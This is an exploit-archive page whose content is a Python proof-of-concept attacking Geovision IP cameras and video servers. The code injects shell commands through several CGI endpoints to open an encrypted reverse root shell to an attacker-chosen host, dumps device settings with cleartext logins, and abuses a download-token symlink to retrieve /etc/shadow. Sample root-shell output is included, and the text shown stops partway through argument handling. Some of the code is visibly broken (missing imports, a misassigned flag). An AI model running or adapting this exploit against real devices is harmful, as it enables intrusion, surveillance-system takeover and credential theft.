Lucene search
K

Geovision Inc. IP Camera & Video - Remote Command Execution Exploit

🗓️ 07 Feb 2018 00:00:00Reported by bashisType 
zdt
 zdt
🔗 0day.today👁 54 Views

Geovision Inc. IP Camera & Video Server Remote Command Execution PoC by bashis in November 2017. Includes pop stunnel TLSv1 reverse root shell, dumping cleartext settings of remote IPC, and GeoToken PoC to login and download /etc/shadow via generated token symlink

Code
#!/usr/bin/env python2.7
#
# [SOF]
#
# Geovision Inc. IP Camera & Video Server Remote Command Execution PoC
# Researcher: bashis <mcw noemail eu> (November 2017)
#
###########################################################################################
#
# 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]
# 2. Dump all settings of remote IPC with Login/Passwd in cleartext
# Using:
# - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]
# - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)
# - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10
# - CGI: 'JpegStream.cgi' (Anonymous) > v3.10
# 3. GeoToken PoC to login and download /etc/shadow via generated token symlink
#
# Sample reverse shell:
# $ ncat -vlp 1337 --ssl
# Ncat: Version 7.60 ( https://nmap.org/ncat )
# Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
# Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603
# Ncat: Listening on :::1337
# Ncat: Listening on 0.0.0.0:1337
# Ncat: Connection from 192.168.57.20.
# Ncat: Connection from 192.168.57.20:16945.
# /bin/sh: can't access tty; job control turned off
# /www # id
# id
# uid=0(root) gid=0(root)
# /www # uname -a
# uname -a
# Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown
# /www # exit
# $
 
############################################################################################
 
import sys
import socket
import urllib, urllib2, httplib
import json
import hashlib
import commentjson # pip install commentjson
import xmltodict # pip install xmltodict
import select
import string
import argparse
import random
import base64
import ssl
import json
import os
import re
 
#from pwn import *
 
def split2len(s, n):
    def _f(s, n):
        while s:
            yield s[:n]
            s = s[n:]
    return list(_f(s, n))
 
# Ignore download of '302 Found/Location' redirections
class NoRedirection(urllib2.HTTPErrorProcessor):
 
    def http_response(self, request, response):
        return response
    https_response = http_response
 
class HTTPconnect:
 
    def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.credentials = credentials
        self.Raw = Raw
        self.noexploit = False
        self.noexploit = noexploit
     
    def Send(self, uri, query_headers, query_data, ID):
        self.uri = uri
        self.query_headers = query_headers
        self.query_data = query_data
        self.ID = ID
 
        # Connect-timeout in seconds
        timeout = 10
        socket.setdefaulttimeout(timeout)
 
        url = '{}://{}{}'.format(self.proto, self.host, self.uri)
 
        if self.verbose:
            print "[Verbose] Sending:", url
 
        if self.proto == 'https':
            if hasattr(ssl, '_create_unverified_context'):
                print "[i] Creating SSL Unverified Context"
                ssl._create_default_https_context = ssl._create_unverified_context
 
        if self.credentials:
            Basic_Auth = self.credentials.split(':')
            if self.verbose:
                print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]
            try:
                pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()
                pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
                auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
                if verbose:
                    http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS
                    opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)
                else:
                    opener = urllib2.build_opener(auth_handler,NoRedirection)
                urllib2.install_opener(opener)
            except Exception as e:
                print "[!] Basic Auth Error:",e
                sys.exit(1)
        else:
            # Don't follow redirects!
            if verbose:
                http_logger = urllib2.HTTPHandler(debuglevel = 1)
                opener = urllib2.build_opener(http_logger,NoRedirection)
                urllib2.install_opener(opener)
            else:
                NoRedir = urllib2.build_opener(NoRedirection)
                urllib2.install_opener(NoRedir)
 
 
        if self.noexploit and not self.verbose:
            print "[<] 204 Not Sending!"
            html =  "Not sending any data"
            return html
        else:
            if self.query_data:
                req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
                if self.ID:
                    Cookie = 'CLIENT_ID={}'.format(self.ID)
                    req.add_header('Cookie', Cookie)
            else:
                req = urllib2.Request(url, None, headers=self.query_headers)
                if self.ID:
                    Cookie = 'CLIENT_ID={}'.format(self.ID)
                    req.add_header('Cookie', Cookie)
            rsp = urllib2.urlopen(req)
            if rsp:
                print "[<] {}".format(rsp.code)
 
        if self.Raw:
            return rsp
        else:
            html = rsp.read()
            return html
 
 
 
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
 
    def __init__(self,verbose):
        self.verbose = verbose
 
    # Check if IP is valid
    def CheckIP(self,IP):
        self.IP = IP
 
        ip = self.IP.split('.')
        if len(ip) != 4:
            return False
        for tmp in ip:
            if not tmp.isdigit():
                return False
            i = int(tmp)
            if i < 0 or i > 255:
                return False
        return True
 
    # Check if PORT is valid
    def Port(self,PORT):
        self.PORT = PORT
 
        if int(self.PORT) < 1 or int(self.PORT) > 65535:
            return False
        else:
            return True
 
    # Check if HOST is valid
    def Host(self,HOST):
        self.HOST = HOST
 
        try:
            # Check valid IP
            socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
            # Now we check if it is correct typed IP
            if self.CheckIP(self.HOST):
                return self.HOST
            else:
                return False
        except socket.error as e:
            # Else check valid DNS name, and use the IP address
            try:
                self.HOST = socket.gethostbyname(self.HOST)
                return self.HOST
            except socket.error as e:
                return False
 
 
 
class Geovision:
 
    def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):
        self.rhost = rhost
        self.proto = proto
        self.verbose = verbose
        self.credentials = credentials
        self.raw_request = raw_request
        self.noexploit = noexploit
        self.headers = headers
        self.SessionID = SessionID
 
 
    def Login(self):
 
        try:
 
            print "[>] Requesting keys from remote"
            URI = '/ssi.cgi/Login.htm'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
            response = response.read()[:1500]
            response = re.split('[()<>?"\n_&;/ ]',response)
    #       print response
 
        except Exception as e:
            print "[!] Can't access remote host... ({})".format(e)
            sys.exit(1)
 
        try:
            #
            # Geovision way to have MD5 random Login and Password
            #
            CC1 = ''
            CC2 = ''
            for check in range(0,len(response)):
                if response[check] == 'cc1=':
                    CC1 = response[check+1]
                    print "[i] Random key CC1: {}".format(response[check+1])
                elif response[check] == 'cc2=':
                    CC2 = response[check+1]
                    print "[i] Random key CC2: {}".format(response[check+1])
                """
                #
                # Less interesting to know, but leave it here anyway.
                #
                # If the remote server has enabled guest view, these below will not be '0'
                elif response[check] == 'GuestIdentify':
                    print "[i] GuestIdentify: {}".format(response[check+2])
                elif response[check] == 'uid':
                    if response[check+2]:
                        print "[i] uid: {}".format(response[check+2])
                    else:
                        print "[i] uid: {}".format(response[check+3])
                elif response[check] == 'pid':
                    if response[check+2]:
                        print "[i] pid: {}".format(response[check+2])
                    else:
                        print "[i] pid: {}".format(response[check+3])
                """
 
            if not CC1 and not CC2:
                print "[!] CC1 and CC2 missing!"
                print "[!] Cannot generate MD5, exiting.."
                sys.exit(0)
 
            #
            # Geovision MD5 Format
            #
            uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()
            pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()
    #       print "[i] User MD5: {}".format(uMD5)
    #       print "[i] Pass MD5: {}".format(pMD5)
 
 
            self.query_args = {
                "username":"",
                "password":"",
                "Apply":"Apply",
                "umd5":uMD5,
                "pmd5":pMD5,
                "browser":1,
                "is_check_OCX_OK":0
                }
 
            print "[>] Logging in"
            URI = '/LoginPC.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    #       print response.info()
 
            # if we don't get 'Set-Cookie' back from the server, the Login has failed
            if not (response.info().get('Set-Cookie')):
                print "[!] Login Failed!"
                sys.exit(1)
            if verbose:
                print "Cookie: {}".format(response.info().get('Set-Cookie'))
 
            return response.info().get('Set-Cookie')
 
        except Exception as e:
            print "[i] What happen? ({})".format(e)
            exit(0)
 
 
    def DeviceInfo(self):
 
        try:
            URI = '/PSIA/System/deviceInfo'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)
            deviceinfo = xmltodict.parse(response)
            print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])
            return True
 
        except Exception as e:
            print "[i] Info about remote target failed ({})".format(e)
            return False
 
 
    def UserSetting(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning Usersetting.cgi"
        self.query_args = {
            "umd5":SH_CMD,
            "pmd5":"GEOVISION",
            "nmd5":"PWNED",
            "cnt5":"",
            "username":"",
            "passwordOld":"",
            "passwordNew":"",
            "passwordRetype":"",
            "btnSubmitAdmin":"1",
            "submit":"Apply"
            }
        try:
            URI = '/UserSetting.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
 
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
 
    def PictureCatch(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning PictureCatch.cgi"
        self.query_args = {
            "username":SH_CMD,
            "password":"GEOVISION",
            "attachment":"1",
            "channel":"1",
            "secret":"1",
            "key":"PWNED"
            }
 
        try:
            URI = '/PictureCatch.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
 
    def JpegStream(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning JpegStream.cgi"
        self.query_args = {
            "username":SH_CMD,
            "password":"GEOVISION",
            "attachment":"1",
            "channel":"1",
            "secret":"1",
            "key":"PWNED"
            }
 
        try:
            URI = '/JpegStream.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
#
# Interesting example of bad code and insufficent sanitation of user input.
# ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.
#
# Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.
# So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.
#
# v3.10->3.12 changed how to handle ipfilter
# From:
# User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash
# To:
# User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,
# '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'
# with system() call in 'libgeo_net.so'
# 
 
# Should end up into;
# 23835 root        576 S   sh -c /usr/local/bin/iptables -A INPUT  -s `/usr/loca...[trunkated]
# 23836 root       2428 S   /usr/local/bin/stunnel /tmp/x
# 23837 root        824 S   /bin/sh
 
 
    def FilterSetting(self):
 
        try:
            print "[>] Pwning FilterSetting.cgi"
            #
            # ';' will be treated by the code as LF
            # 
            # Let's use some TLSv1 privacy for the reverse shell 
            #
            SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'
            #
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
            ShDict = SH_CMD.split(';')
 
            MAX_SIZE = 31 # Max Size of the strings to generate
            LF = 0
            LINE = 0
            CMD = {}
            CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"
            CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"
            SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'
 
            # Remove, just in case
            CMD[LINE] = "`rm -f /tmp/x`"
 
            URI = '/FilterSetting.cgi'
            #
            # This loop will make the correct aligment of user input
            #
            for cmd in range(0,len(ShDict)):
                CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)
                cmd_split = split2len(ShDict[cmd], SIZE)
                for CMD_LEN in range(0,len(cmd_split)):
                    LINE += 1
                    LF += 1
                    if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):
                        CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])
                    else:
                        CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])
                        LF = 0
                    if verbose:
                        print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])
 
            # Add two more commands to execute stunnel and remove /tmp/x
            CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH
            CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working
            CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop
#
# Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x
#
# client=yes
# connect=<LHOST>:<LPORT>
# exec=/bin/sh
# pty=yes
# sslVersion=TLSv1
#
 
            NEW_IP_FILTER = 1 # > v3.12
            CMD_LEN = 0
            who = 0
            # Clean up to make room, just in case
            for Remove in range(0,4):
                print "[>] Cleaning ipfilter entry: {}".format(Remove+1)
                self.query_args = {
                    "bPolicy":"0",      # 1 = Enable, 0 = Disable
                    "Delete":"Remove",  # Remove entry
                    "szIpAddr":"",
                    "byOpId":"0",       # 0 = Allow, 1 = Deny
                    "dwSelIndex":"0",
                    }
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
            while True:
                if who == len(CMD):
                    break
                if CMD_LEN < 4:
 
                    print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))
                    self.query_args = {
                        "szIpAddr":CMD[who], # 31 char limit
                        "byOpId":"0", # 0 = Allow, 1 = Deny
                        "dwSelIndex":"0", # Seems not to be in use
                        "Add":"Apply"
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    response = re.split('[()<>?"\n_&;/ ]',response)
                    print response
                    if NEW_IP_FILTER:
                        for cnt in range(0,len(response)):
                            if response[cnt] == 'iptables':
                                NEW_IP_FILTER = 0
                                print "[i] Remote don't need Enable/Disable"
                                break
                    CMD_LEN += 1
                    who += 1
                    time.sleep(2) # Seems to be too fast without
                # NEW Way
                elif NEW_IP_FILTER:
                    print "[>] Enabling ipfilter"
                    self.query_args = {
                        "bPolicy":"1", # 1 = Enable, 0 = Disable
                        "szIpAddr":"",
                        "byOpId":"0", # 0 = Allow, 1 = Deny
                        "dwSelIndex":"0",
                        }
 
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                    print "[i] Sleeping..."
                    time.sleep(5)
 
                    print "[>] Disabling ipfilter"
                    self.query_args = {
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                    for Remove in range(0,4):
                        print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                        self.query_args = {
                            "bPolicy":"0", # 1 = Enable, 0 = Disable
                            "Delete":"Remove",
                            "szIpAddr":"",
                            "byOpId":"0",
                            "dwSelIndex":"0",
                            }
                        response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    CMD_LEN = 0
                # OLD Way
                else:
                    for Remove in range(0,4):
                        print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                        self.query_args = {
                            "bPolicy":"0", # 1 = Enable, 0 = Disable
                            "Delete":"Remove",
                            "szIpAddr":"",
                            "byOpId":"0",
                            "dwSelIndex":"0",
                            }
                        response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    CMD_LEN = 0
 
            if NEW_IP_FILTER:
                print "[i] Last sending"
                print "[>] Enabling ipfilter"
                self.query_args = {
                    "bPolicy":"1", # 1 = Enable, 0 = Disable
                    "szIpAddr":"",
                    "byOpId":"0", # 0 = Allow, 1 = Deny
                    "dwSelIndex":"0",
                    }
 
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                print "[i] Sleeping..."
                time.sleep(5)
 
                print "[>] Disabling ipfilter"
                self.query_args = {
                    "szIpAddr":"",
                    "byOpId":"0",
                    "dwSelIndex":"0",
                    }
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                for Remove in range(0,4):
                    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                    self.query_args = {
                        "bPolicy":"0", # 1 = Enable, 0 = Disable
                        "Delete":"Remove",
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
             
            print "[!] Enjoy the shell... "
 
            return True
 
        except Exception as e:
 
            if not NEW_IP_FILTER:
                print "[i] Last sending"
                for Remove in range(0,4):
                    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                    self.query_args = {
                        "bPolicy":"0", # 1 = Enable, 0 = Disable
                        "Delete":"Remove",
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                print "[!] Enjoy the shell... "
                return True
 
            print "[!] Hmm... {}".format(e)
            print response.read()
            return True
 
 
    def GeoToken(self):
 
        print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"
        print "[!] You must have valid login and password to generate the symlink"
        try:
 
#########################################################################################
# This is how to list remote *.wav and *.avi files in /storage.
 
            """
            print "[>] Requesting token1"
            URI = '/BKCmdToken.php'
            response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                sys.exit(1)
            token1 = result['token']
 
#
# SAMPLE OUTPUT
#
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
            # Generate correct MD5 token2
            token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()
            query_args = {
                "token1":token1,
                "token2":token2
                }
 
            print "[>] List files"
            URI = '/BKFileList.php'
            response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            for who in result.keys():
                print len(who)
#
# SAMPLE OUTPUT
#
#{
#    "files": [
#        {
#            "file_size": "2904170",
#            "filename": "event20171105104946001.avi",
#            "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"
#        },
#        {}
#    ]
#}
#########################################################################################
            """
 
            # Request remote MD5 token1
            print "[>] Requesting token1"
            URI = '/BKCmdToken.php'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                return False
            token1 = result['token']
#
# SAMPLE OUTPUT 
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
            #
            # Generate correct MD5 token2
            #
            # MD5 Format: <login>:<token1>:<password>
            #
            token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest() 
 
            #
            # symlink this file for us
            #
            filename = '/etc/shadow'
 
            self.query_args = {
                "token1":token1,
                "token2":token2,
                "filename":filename
                }
 
            print "[>] Requesting download file link"
            URI = '/BKDownloadLink.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
            response = response.read()#[:900]
            response = response.replace("'", "\"")
            result = json.loads(response)
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                return False
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
 
#
# SAMPLE OUTPUT
#
#{
#    "dl_folder": "/tmp",
#    "dl_token": "C71689493825787.dltoken",
#    "err_code": 0,
#    "success": true
#}
#
 
            URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']
 
            print "[>] downloading ({}) with ({})".format(filename,URI)
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
            response = response.read()
            print response
            return True
 
        except Exception as e:
            print "[i] GEO Token fail ({})".format(e)
            return False
 
 
if __name__ == '__main__':
 
#
# Help, info and pre-defined values
#   
    INFO =  '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'
    HTTP = "http"
    HTTPS = "https"
    proto = HTTP
    verbose = False
    noexploit = False
    raw_request = True
    rhost = '192.168.57.20' # Default Remote HOST
    rport = '80'            # Default Remote PORT
    lhost = '192.168.57.1'  # Default Local HOST
    lport = '1337'      # Default Local PORT
#   creds = 'root:pass'
    credentials = False
 
#
# Geovision stuff
#
    SessionID =  str(int(random.random() * 100000))
    DumpSettings = False
    deviceinfo = False
    GEOtoken = False
    anonymous = False
    filtersetting = False
    usersetting = False
    jpegstream = False
    picturecatch = False
    # Geovision default
    username = 'admin'
    password = 'admin'
 
#  
# Try to parse all arguments
#
    try:
        arg_parser = argparse.ArgumentParser(
        prog=sys.argv[0],
                description=('[*] '+ INFO +' [*]'))
        arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
        arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
        arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
        arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
        arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')
 
        arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')
 
        arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')
        arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')
        arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')
        arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')
        arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')
        arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')
        arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')
 
 
        arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')
        arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')
        if credentials:
            arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
        arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
        arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
        arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
        args = arg_parser.parse_args()
    except Exception as e:
        print INFO,"\nError: {}\n".format(str(e))
        sys.exit(1)
 
    print "\n[*]",INFO
 
    if args.verbose:
        verbose = args.verbose
#
# Check validity, update if needed, of provided options
#
    if args.https:
        proto = HTTPS
        if not args.rport:
            rport = '443'
 
    if credentials and args.auth:
        credentials = args.auth
 
    if args.geotoken:
        GEOtoken = args.geotoken
 
    if args.anonymous:
        anonymous = True
 
    if args.deviceinfo:
        deviceinfo = True
 
    if args.dump:
        DumpSettings = True
 
    if args.filtersetting:
        FilterSetting = True
 
    if args.usersetting:
        usersetting = True
 
    if args.jpegstream:
        jpegstream = True
 
    if args.picturecatch:
        picturecatch = True
 
    if args.username:
        username = args.username
 
    if args.password:
        password = args.password
 
    if args.noexploit:
        noexploit = args.noexploit
 
    if args.rport:
        rport = args.rport
 
    if args.rhost:
        rhost = args.rhost
        IP = args.rhost
 
    if args.lport:
        lport = args.lport
 
    if args.lhost:
        lhost = args.lhost
    elif args.autoip:
        # HTTP check of our external IP
        try:
 
            headers = {
                'Connection': 'close',
                'Accept'    :   'gzip, deflate',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla'
                }
 
            print "[>] Trying to find out my external IP"
            lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
            if verbose:
                print "[Verbose] Detected my external IP:",lhost
        except Exception as e:
            print "[<] ",e
            sys.exit(1)
 
    # Check if RPORT is valid
    if not Validate(verbose).Port(rport):
        print "[!] Invalid RPORT - Choose between 1 and 65535"
        sys.exit(1)
 
    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
    # Check if LHOST is valid IP or FQDN, get IP back
    lhost = Validate(verbose).Host(lhost)
    if not lhost:
        print "[!] Invalid LHOST"
        sys.exit(1)
 
